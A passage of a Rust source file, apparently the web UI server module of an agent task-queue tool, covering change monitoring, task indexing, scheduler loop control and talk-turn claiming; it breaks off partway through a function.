1#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118pub const DEFAULT_PORT: u16 = 7878;
120
121const POLL: Duration = Duration::from_secs(1);
123
124const KEEPALIVE: Duration = Duration::from_secs(15);
128
129const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145const LIST_DEFAULT: usize = 50;
149const LIST_MAX: usize = 500;
151
152const TITLE_MAX: usize = 72;
154
155const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172const FILENAME_HEADER: &str = "x-filename";
176
177const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200 font-src data:; base-uri 'none'; form-action 'none'; \
201 frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210 Auto,
212 Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217 type Err = String;
218
219 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223 if s.eq_ignore_ascii_case("auto") {
224 return Ok(Self::Auto);
225 }
226 s.parse()
227 .map(Self::Addr)
228 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229 }
230}
231
232impl std::fmt::Display for Bind {
233 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234 match self {
235 Self::Auto => f.write_str("auto"),
236 Self::Addr(addr) => write!(f, "{addr}"),
237 }
238 }
239}
240
241#[derive(Debug, Clone)]
243pub struct Opts {
244 pub bind: Bind,
246 pub port: u16,
248 pub repo: PathBuf,
250 pub open: bool,
253 pub merge: Option<String>,
259}
260
261impl Default for Opts {
262 fn default() -> Self {
263 Self {
264 bind: Bind::Auto,
265 port: DEFAULT_PORT,
266 repo: PathBuf::from("."),
267 open: false,
268 merge: None,
269 }
270 }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279 try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283 try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287 use std::hash::{Hash as _, Hasher as _};
288 let entries = match std::fs::read_dir(root) {
289 Ok(entries) => entries,
290 Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291 Err(e) => return Err(e),
292 };
293 let mut stamps = HashMap::new();
294 for entry in entries {
295 let entry = entry?;
296 let path = if runs {
297 entry.path().join("run.json")
298 } else {
299 entry.path()
300 };
301 if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302 continue;
303 }
304 let identity = match file_identity(&path) {
305 Ok(identity) => identity,
306 Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307 Err(e) => return Err(e),
308 };
309 let modified = identity
310 .modified
311 .duration_since(std::time::UNIX_EPOCH)
312 .unwrap_or_default();
313 let mut hasher = std::hash::DefaultHasher::new();
314 identity.hash(&mut hasher);
315 let id = if runs || all_entries {
316 entry.file_name().to_string_lossy().into_owned()
317 } else {
318 path.file_stem()
319 .unwrap_or_default()
320 .to_string_lossy()
321 .into_owned()
322 };
323 stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324 }
325 Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330 base: u64,
331 changed: Vec<String>,
332 removed: Vec<String>,
333}
334
335fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
336 let mut changed: Vec<_> = next
337 .iter()
338 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
339 .map(|(id, _)| id.clone())
340 .collect();
341 let mut removed: Vec<_> = previous
342 .keys()
343 .filter(|id| !next.contains_key(*id))
344 .cloned()
345 .collect();
346 changed.sort_unstable();
347 removed.sort_unstable();
348 Delta {
349 base,
350 changed,
351 removed,
352 }
353}
354
355#[cfg(test)]
357fn runs_revision(runs: &FsPath) -> u64 {
358 stamps_revision(&store_stamps(runs, true))
359}
360
361fn stamps_revision(stamps: &Stamps) -> u64 {
365 use std::hash::{Hash as _, Hasher as _};
366 if stamps.is_empty() {
367 return 0;
368 }
369 let mut entries: Vec<_> = stamps.iter().collect();
370 entries.sort_unstable();
371 let mut hasher = std::hash::DefaultHasher::new();
372 entries.hash(&mut hasher);
373 hasher.finish().max(1)
374}
375
376#[derive(Clone, Debug)]
377pub(crate) struct ChangeNotification {
378 pub payload: serde_json::Value,
379}
380
381#[derive(Default, Debug)]
382pub(crate) struct QueueIndex {
383 records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
385 #[cfg(test)]
386 reparsed: usize,
387}
388
389#[derive(Clone, Debug)]
390struct TaskRelation {
391 id: String,
392 status: Option<crate::queue::TaskStatus>,
393 priority: i32,
394 runs: Vec<String>,
395 source: Source,
396 chat: Option<String>,
397}
398
399impl From<Task> for TaskRelation {
400 fn from(task: Task) -> Self {
401 Self {
402 id: task.id,
403 status: Some(task.status),
404 priority: task.priority,
405 runs: task.runs,
406 source: task.source,
407 chat: task.chat,
408 }
409 }
410}
411
412#[derive(Debug, PartialEq, Eq, Hash)]
413struct FileIdentity {
414 modified: std::time::SystemTime,
415 len: u64,
416 #[cfg(unix)]
417 identity: (u64, u64, i64, i64),
418}
419
420fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
421 let meta = path.metadata()?;
422 Ok(FileIdentity {
423 modified: meta.modified()?,
424 len: meta.len(),
425 #[cfg(unix)]
426 identity: {
427 use std::os::unix::fs::MetadataExt as _;
428 (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
429 },
430 })
431}
432
433type Revisions = (u64, u64, u64, u64, u64, u64);
434type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
435
436#[derive(Debug)]
437pub(crate) struct SharedMonitor {
438 pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
439 pub latest: Arc<Mutex<MonitorSnapshot>>,
440 pub worker_started: std::sync::atomic::AtomicBool,
441 pub queue_index: Arc<Mutex<QueueIndex>>,
442 list_walks: Mutex<Vec<ListWalk>>,
443 disk: Arc<Mutex<DiskObservation>>,
444 health_index: Mutex<HealthIndex>,
445 disk_cache: Mutex<DiskCache>,
446 talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
447 bulk_slots: Arc<tokio::sync::Semaphore>,
448 talk_core_slots: Arc<tokio::sync::Semaphore>,
449 #[cfg(test)]
450 talk_parses: std::sync::atomic::AtomicUsize,
451}
452
453#[derive(Debug, Default)]
455struct HealthIndex {
456 runs: HashMap<String, (FileIdentity, bool)>,
457 questions: Option<QuestionCounts>,
458 notices: Option<(u64, usize)>,
459 #[cfg(test)]
460 run_parses: usize,
461}
462
463const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
465
466#[derive(Debug)]
467struct QuestionCounts {
468 revision: u64,
469 measured: std::time::Instant,
470 open: usize,
471 owner: usize,
472}
473
474#[derive(Debug, Clone)]
475struct DiskSizes {
476 runs: u64,
477 worktrees: u64,
478 cache: Option<u64>,
479}
480
481#[derive(Debug, Default)]
482struct DiskCache {
483 measured: Option<std::time::Instant>,
484 loading: bool,
485 config: Option<Config>,
486 disk: Option<DiskSizes>,
487 update: Option<UpdateView>,
488}
489
490fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
492 let (mut rev, mut stamps) = previous.unwrap_or_default();
493 for (index, root, runs) in [
494 (0, ui.queue.root(), false),
495 (1, ui.runs.as_path(), true),
496 (2, ui.talks.root(), false),
497 ] {
498 if let Ok(next) = try_store_stamps(root, runs) {
499 let value = stamps_revision(&next);
500 match index {
501 0 => rev.0 = value,
502 1 => rev.1 = value,
503 _ => rev.3 = value,
504 }
505 stamps[index] = next;
506 }
507 }
508 if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
509 rev.2 = stamps_revision(&next);
510 }
511 if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
512 rev.4 = stamps_revision(&next);
513 }
514 rev.5 = ui.lock_loop().rev;
515 (rev, stamps)
516}
517
518impl SharedMonitor {
519 pub fn new() -> Self {
520 let (tx, _) = tokio::sync::broadcast::channel(64);
521 Self {
522 broadcaster: tx,
523 latest: Arc::default(),
524 worker_started: std::sync::atomic::AtomicBool::new(false),
525 queue_index: Arc::default(),
526 list_walks: Mutex::default(),
527 disk: Arc::default(),
528 health_index: Mutex::default(),
529 disk_cache: Mutex::default(),
530 talk_index: Mutex::default(),
531 bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
532 talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
533 #[cfg(test)]
534 talk_parses: std::sync::atomic::AtomicUsize::new(0),
535 }
536 }
537
538 async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
539 let mut receiver = self.broadcaster.subscribe();
540 self.ensure_worker(ui);
541 loop {
542 if let Some((revisions, _)) = self
543 .latest
544 .lock()
545 .unwrap_or_else(PoisonError::into_inner)
546 .as_ref()
547 {
548 return Ok(*revisions);
549 }
550 tokio::time::timeout(Duration::from_secs(5), receiver.recv())
551 .await
552 .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
553 .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
554 }
555 }
556
557 pub fn ensure_worker(&self, ui: &Arc<Ui>) {
558 if self
559 .worker_started
560 .compare_exchange(
561 false,
562 true,
563 std::sync::atomic::Ordering::SeqCst,
564 std::sync::atomic::Ordering::SeqCst,
565 )
566 .is_err()
567 {
568 return;
569 }
570
571 let weak_ui = Arc::downgrade(ui);
572 tokio::spawn(async move {
573 let mut ticker = tokio::time::interval(POLL);
574 loop {
575 ticker.tick().await;
576 let Some(ui) = weak_ui.upgrade() else {
577 break;
578 };
579
580 let previous = ui
581 .monitor
582 .latest
583 .lock()
584 .unwrap_or_else(PoisonError::into_inner)
585 .clone();
586 let state = Arc::clone(&ui);
587 let scan =
588 tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
589
590 ticker.reset();
592 let Ok((revisions, next_stamps)) = scan else {
593 continue;
594 };
595
596 let mut latest_guard = match ui.monitor.latest.lock() {
597 Ok(g) => g,
598 Err(p) => p.into_inner(),
599 };
600
601 let previous = latest_guard.take();
602 let (last_rev, prev_stamps) = match previous {
603 Some((r, s)) => (Some(r), Some(s)),
604 None => (None, None),
605 };
606
607 if last_rev == Some(revisions) {
608 *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
609 continue;
610 }
611
612 let mut payload = serde_json::json!({
613 "queue_rev": revisions.0,
614 "runs_rev": revisions.1,
615 "questions_rev": revisions.2,
616 "talks_rev": revisions.3,
617 "notifications_rev": revisions.4,
618 "loop_rev": revisions.5,
619 });
620
621 if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
622 for (index, (key, rev)) in [
623 ("queue_delta", base.0),
624 ("runs_delta", base.1),
625 ("talks_delta", base.3),
626 ]
627 .into_iter()
628 .enumerate()
629 {
630 let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
631 if delta.changed.len() + delta.removed.len() > 0
632 && delta.changed.len() <= 50
633 {
634 payload[key] = serde_json::to_value(delta).expect("serializable delta");
635 }
636 }
637 }
638
639 *latest_guard = Some((revisions, next_stamps));
640 drop(latest_guard);
641
642 let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
643 }
644 });
645 }
646}
647
648#[derive(Debug, Clone)]
654pub struct Ui {
655 queue: Queue,
656 questions: Questions,
657 notices: Notices,
660 talks: Talks,
661 runs: PathBuf,
662 references: Arc<id_links::IndexCache>,
663 home: PathBuf,
664 repo: PathBuf,
665 worktrees_root: PathBuf,
672 talk_turns: Arc<Mutex<TalkTurns>>,
680 admissions: Arc<tokio::sync::RwLock<bool>>,
683 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
687 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
690 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
692 auto_failed_tag: Arc<Mutex<Option<String>>>,
693 upgrade_runner: UpgradeRunner,
694 resuming: Arc<Mutex<HashSet<String>>>,
702 repos_cache: repos::Cache,
706 machine_config: Option<PathBuf>,
710 merge: Option<String>,
712 looping: Arc<Mutex<LoopState>>,
714 #[cfg(test)]
716 launch: Launch,
717 #[cfg(test)]
720 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
721 pub(crate) monitor: Arc<SharedMonitor>,
722}
723
724type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
725
726#[cfg(test)]
746struct BusyQueueGate {
747 reached: tokio::sync::oneshot::Sender<()>,
748 release: std::sync::mpsc::Receiver<()>,
749}
750
751#[cfg(test)]
752impl std::fmt::Debug for BusyQueueGate {
753 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
754 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
755 }
756}
757
758impl Ui {
759 pub fn new(
761 queue: Queue,
762 questions: Questions,
763 talks: Talks,
764 runs: PathBuf,
765 home: PathBuf,
766 repo: PathBuf,
767 ) -> Self {
768 Self {
769 queue,
770 questions,
771 notices: Notices::at(home.join("notifications")),
772 talks,
773 runs,
774 references: Arc::default(),
775 home,
776 repo,
777 worktrees_root: run::default_worktree_root(),
781 talk_turns: Arc::default(),
782 admissions: Arc::default(),
783 upgrade_gate: Arc::default(),
784 upgrade_spawned: Arc::default(),
785 upgrade_request_error: Arc::default(),
786 auto_failed_tag: Arc::default(),
787 upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
788 resuming: Arc::default(),
789 repos_cache: repos::Cache::new(),
790 machine_config: Config::machine_layer(),
791 merge: None,
792 looping: Arc::default(),
793 #[cfg(test)]
794 launch: launch_daemon,
795 #[cfg(test)]
796 busy_queue_gate: Arc::default(),
797 monitor: Arc::new(SharedMonitor::new()),
798 }
799 }
800
801 fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
804 let mut index = self
805 .monitor
806 .queue_index
807 .lock()
808 .unwrap_or_else(PoisonError::into_inner);
809 let entries = match std::fs::read_dir(self.queue.root()) {
810 Ok(entries) => entries,
811 Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
812 index.records.clear();
813 return Ok(Vec::new());
814 }
815 Err(e) => return Err(anyhow::Error::from(e).into()),
816 };
817 let mut seen = HashSet::new();
818 for entry in entries {
819 let path = entry.map_err(anyhow::Error::from)?.path();
820 if path.extension().is_none_or(|ext| ext != "json") {
821 continue;
822 }
823 let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
824 continue;
825 };
826 let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
827 seen.insert(id.to_owned());
828 if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
831 let Ok(task) = self.queue.get(id) else {
832 if let Some((_, record)) = index.records.get_mut(id) {
838 Arc::make_mut(record).status = None;
839 }
840 continue;
841 };
842 #[cfg(test)]
843 {
844 index.reparsed += 1;
845 }
846 if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
847 return Err(ApiError::conflict("Queue changed during read; retry"));
848 }
849 index
850 .records
851 .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
852 }
853 }
854 index.records.retain(|id, _| seen.contains(id));
855 let mut tasks: Vec<_> = index
856 .records
857 .values()
858 .map(|(_, task)| task.clone())
859 .collect();
860 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
861 Ok(tasks)
862 }
863
864 fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
865 let Some(record) = self
866 .indexed_tasks()?
867 .into_iter()
868 .find(|task| task.runs.iter().any(|id| id == run_id))
869 else {
870 return Ok(None);
871 };
872 let task = self.queue.get(&record.id)?;
873 if !task.runs.iter().any(|id| id == run_id) {
874 return Err(ApiError::conflict("Task relationship changed; retry"));
875 }
876 Ok(Some(task))
877 }
878
879 fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
880 self.indexed_tasks()?
881 .into_iter()
882 .filter(|task| {
883 task.chat.as_deref() == Some(talk_id)
884 || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
885 })
886 .map(|record| {
887 let task = self.queue.get(&record.id)?;
888 if task.chat.as_deref() != Some(talk_id)
889 && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
890 {
891 return Err(ApiError::conflict("Task relationship changed; retry"));
892 }
893 Ok(task)
894 })
895 .collect()
896 }
897
898 pub fn open(repo: PathBuf) -> Self {
901 Self::new(
902 Queue::open(),
903 Questions::open(),
904 Talks::open(),
905 run::runs_root(),
906 run::home(),
907 repo,
908 )
909 }
910
911 #[must_use]
918 pub fn with_merge(mut self, merge: Option<String>) -> Self {
919 self.merge = merge;
920 self
921 }
922
923 #[cfg(test)]
926 #[must_use]
927 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
928 self.machine_config = path;
929 self
930 }
931
932 #[must_use]
937 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
938 self.worktrees_root = root;
939 self
940 }
941
942 #[cfg(test)]
947 #[must_use]
948 fn with_launch(mut self, launch: Launch) -> Self {
949 self.launch = launch;
950 self
951 }
952
953 #[cfg(test)]
963 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
964 *self
965 .busy_queue_gate
966 .lock()
967 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
968 }
969
970 fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
973 let guard = Arc::clone(&self.admissions)
974 .try_read_owned()
975 .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
976 if *guard {
977 return Err(ApiError::conflict(
978 "web restart in progress; retry this message",
979 ));
980 }
981 Ok(guard)
982 }
983
984 async fn start_detached_loop(&self) -> ApiResult<()> {
986 if self
987 .upgrade_spawned
988 .load(std::sync::atomic::Ordering::SeqCst)
989 {
990 return Err(ApiError::conflict("an upgrade is in progress"));
991 }
992 let reading = daemon::read_status(&self.home);
993 if let Some(other) = Foreign::of(reading.as_ref()) {
994 return Err(ApiError::conflict(format!(
995 "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
996 other.who()
997 )));
998 }
999 let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1000 let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1001 let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1002 || reading.is_some_and(|reading| {
1003 reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1004 });
1005 if control.is_some() && scheduler_running {
1006 return Err(ApiError::conflict(
1007 "the scheduler is still stopping; retry Start after it has stopped",
1008 ));
1009 }
1010 if !jobs.iter().any(|job| job.kind == "scheduler") {
1011 let available =
1012 crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1013 if available.is_none() {
1014 return Err(ApiError::conflict(
1015 "the scheduler is still running or stopping; retry after its transition completes",
1016 ));
1017 }
1018 drop(available);
1019 }
1020 let opts = daemon::Opts {
1021 repo: self.repo.clone(),
1022 merge: self.merge.clone(),
1023 worktrees_root: Some(self.worktrees_root.clone()),
1024 ..daemon::Opts::default()
1025 };
1026 daemon::spawn_detached(&self.home, &opts)
1027 .await
1028 .map_err(ApiError::from)?;
1029 let mut state = self.lock_loop();
1030 state.last_error = None;
1031 state.rev += 1;
1032 Ok(())
1033 }
1034
1035 #[cfg(test)]
1042 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1043 if let Some(other) = foreign {
1044 return Err(ApiError::conflict(format!(
1045 "{} is already running the loop, so this one will not start a \
1046 second: two loops on one queue race for the same claims and \
1047 burn the agent quota twice over. Stop it where it was \
1048 started.",
1049 other.who()
1050 )));
1051 }
1052 let mut state = self.lock_loop();
1053 if self
1054 .upgrade_spawned
1055 .load(std::sync::atomic::Ordering::SeqCst)
1056 {
1057 return Err(ApiError::conflict("an upgrade is in progress"));
1058 }
1059 if state.live.as_ref().is_some_and(Live::alive) {
1060 return Err(ApiError::conflict(format!(
1061 "this magi web process (pid {}) is already running the loop",
1062 std::process::id()
1063 )));
1064 }
1065
1066 let stop = daemon::Stop::new();
1067 let opts = daemon::Opts {
1071 repo: self.repo.clone(),
1072 merge: self.merge.clone(),
1073 worktrees_root: Some(self.worktrees_root.clone()),
1080 ..daemon::Opts::default()
1081 };
1082 let launch = self.launch;
1083 let looping = Arc::clone(&self.looping);
1084 let handle = tokio::spawn({
1085 let opts = opts.clone();
1086 let stop = stop.clone();
1087 async move {
1088 let failure = match launch(opts, stop).await {
1089 Ok(()) => None,
1090 Err(e) => Some(format!("{e:#}")),
1091 };
1092 match &failure {
1093 Some(why) => tracing::error!("the loop stopped: {why}"),
1094 None => tracing::info!("the loop stopped"),
1095 }
1096 let mut state = lock_or_recover(&looping);
1102 state.live = None;
1103 state.last_error = failure;
1104 state.rev += 1;
1105 }
1106 });
1107 tracing::info!(
1108 "the loop is now running in this process: repo {}, merge {}",
1109 opts.repo.display(),
1110 opts.merge.as_deref().unwrap_or("as the config says")
1111 );
1112 state.live = Some(Live { stop, handle, opts });
1113 state.last_error = None;
1116 state.rev += 1;
1117 Ok(())
1118 }
1119
1120 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1126 if let Some(other) = foreign {
1127 return Err(ApiError::conflict(format!(
1128 "the loop belongs to {}, and this process cannot stop it - \
1129 stop it where it was started. A button that silently did \
1130 nothing would be worse than this refusal.",
1131 other.who()
1132 )));
1133 }
1134 #[cfg(not(test))]
1135 {
1136 daemon::request_control(
1137 &self.home,
1138 if park {
1139 crate::worker::Control::Park
1140 } else {
1141 crate::worker::Control::Stop
1142 },
1143 )
1144 .map_err(ApiError::from)?;
1145 self.lock_loop().rev += 1;
1146 Ok(())
1147 }
1148 #[cfg(test)]
1149 {
1150 let mut state = self.lock_loop();
1151 let Some(live) = state.live.as_ref() else {
1152 return Ok(());
1153 };
1154 if live.stop.stopped() && (!park || live.stop.parking()) {
1158 return Ok(());
1159 }
1160 if park {
1161 live.stop.park(crate::run::ParkCause::Operator);
1162 tracing::info!(
1163 "the loop was asked to park; the run stops at its next node boundary"
1164 );
1165 } else {
1166 live.stop.stop();
1167 tracing::info!("the loop was asked to stop; a run in flight is finished first");
1168 }
1169 state.rev += 1;
1170 Ok(())
1171 }
1172 }
1173
1174 #[cfg(not(test))]
1181 fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1182 let jobs = crate::worker::active(&self.home).map_err(|error| {
1183 ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1184 })?;
1185 Ok(self.runtime_loop_view(reading, &jobs))
1186 }
1187
1188 #[cfg(test)]
1189 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1190 let state = self.lock_loop();
1191 let live = state.live.as_ref().filter(|live| live.alive());
1194 LoopView {
1195 running: live.is_some(),
1196 stopping: live.is_some_and(|live| live.stop.finishing()),
1197 parking: live.is_some_and(|live| live.stop.parking()),
1198 owned: live.is_some(),
1199 repo: live
1200 .map_or(&self.repo, |live| &live.opts.repo)
1201 .display()
1202 .to_string(),
1203 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1204 last_error: state.last_error.clone(),
1205 daemon: DaemonView::of(reading),
1206 }
1207 }
1208
1209 fn runtime_loop_view(
1211 &self,
1212 reading: Option<daemon::Reading>,
1213 jobs: &[crate::worker::Job],
1214 ) -> LoopView {
1215 let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1216 let reporting = reading
1217 .as_ref()
1218 .is_some_and(|r| r.running(Timestamp::now()));
1219 let managed = scheduler.is_some()
1220 || (reporting
1221 && reading
1222 .as_ref()
1223 .is_some_and(|r| r.worker_protocol == Some(1)));
1224 let control = crate::worker::control(&self.home, "scheduler")
1225 .ok()
1226 .flatten();
1227 let persisted = if managed && scheduler.is_none() {
1230 std::fs::read(self.home.join("scheduler-options.json"))
1231 .ok()
1232 .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1233 } else {
1234 None
1235 };
1236 let repo = scheduler
1237 .and_then(|job| job.payload.get("repo"))
1238 .and_then(serde_json::Value::as_str)
1239 .map(str::to_owned)
1240 .or_else(|| {
1241 persisted
1242 .as_ref()
1243 .map(|opts| opts.repo.display().to_string())
1244 })
1245 .unwrap_or_else(|| self.repo.display().to_string());
1246 let merge = match scheduler {
1247 Some(job) => job
1248 .payload
1249 .get("merge")
1250 .and_then(serde_json::Value::as_str)
1251 .map(str::to_owned),
1252 None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1253 };
1254 LoopView {
1255 running: managed || reporting,
1256 stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1257 parking: matches!(control, Some(crate::worker::Control::Park))
1258 && jobs.iter().any(|job| job.kind == "task"),
1259 owned: managed,
1260 repo,
1261 merge,
1262 last_error: self.lock_loop().last_error.clone(),
1263 daemon: DaemonView::of(reading),
1264 }
1265 }
1266
1267 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1269 lock_or_recover(&self.looping)
1270 }
1271
1272 fn is_thinking(&self, id: &str) -> bool {
1274 self.talk_turns
1275 .lock()
1276 .is_ok_and(|turns| turns.live.contains(id))
1277 || self.talks.turn_held(id)
1280 || crate::consult::turn_worker_active(&self.talks, id)
1281 }
1282
1283 fn is_thinking_observed(&self, id: &str) -> bool {
1286 self.talk_turns.try_lock().map_or_else(
1287 |error| matches!(error, std::sync::TryLockError::WouldBlock),
1290 |turns| turns.live.contains(id),
1291 )
1292 || self.talks.turn_held(id)
1295 || crate::consult::turn_worker_observed(&self.talks, id)
1296 }
1297
1298 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1317 self.claim_talk_turn(id, false)
1318 }
1319
1320 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1323 self.claim_talk_turn(id, true)
1324 }
1325
1326 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1327 let mut live = self
1328 .talk_turns
1329 .lock()
1330 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1331 if crate::consult::turn_worker_active(&self.talks, id) {
1332 if queued {
1333 *live.queued.entry(id.to_owned()).or_default() += 1;
1334 }
1335 return Ok(None);
1336 }
1337 let inserted = live.live.insert(id.to_owned());
1338 let lease = if inserted {
1342 match self.talks.claim_turn(id) {
1343 Ok(Some(lease)) => Some(lease),
1344 Ok(None) => {
1345 live.live.remove(id);
1346 None
1347 }
1348 Err(e) => {
1349 live.live.remove(id);
1350 return Err(ApiError::from(e));
1351 }
1352 }
1353 } else {
1354 None
1355 };
1356 if lease.is_none() {
1357 if queued {
1358 *live.queued.entry(id.to_owned()).or_default() += 1;
1363 }
1364 return Ok(None);
1365 }
1366 Ok(Some(TalkTurnGuard {
1367 talk: id.to_owned(),
1368 turns: Arc::clone(&self.talk_turns),
1369 released: false,
1370 lease,
1371 }))
1372 }
1373
1374 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1379 let mut live = self
1380 .talk_turns
1381 .lock()
1382 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1383 if live.live.contains(id) || crate::consult::turn_worker_active(&self.talks, id) {
1385 return Ok(TalkTurnStart::Busy);
1386 }
1387 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1388 return Ok(TalkTurnStart::Foreign);
1389 };
1390 let talk = self.talks.get(id).map_err(ApiError::from)?;
1392 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1393 return Ok(TalkTurnStart::Pending);
1394 }
1395 live.live.insert(id.to_owned());
1396 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1397 talk: id.to_owned(),
1398 turns: Arc::clone(&self.talk_turns),
1399 released: false,
1400 lease: Some(lease),
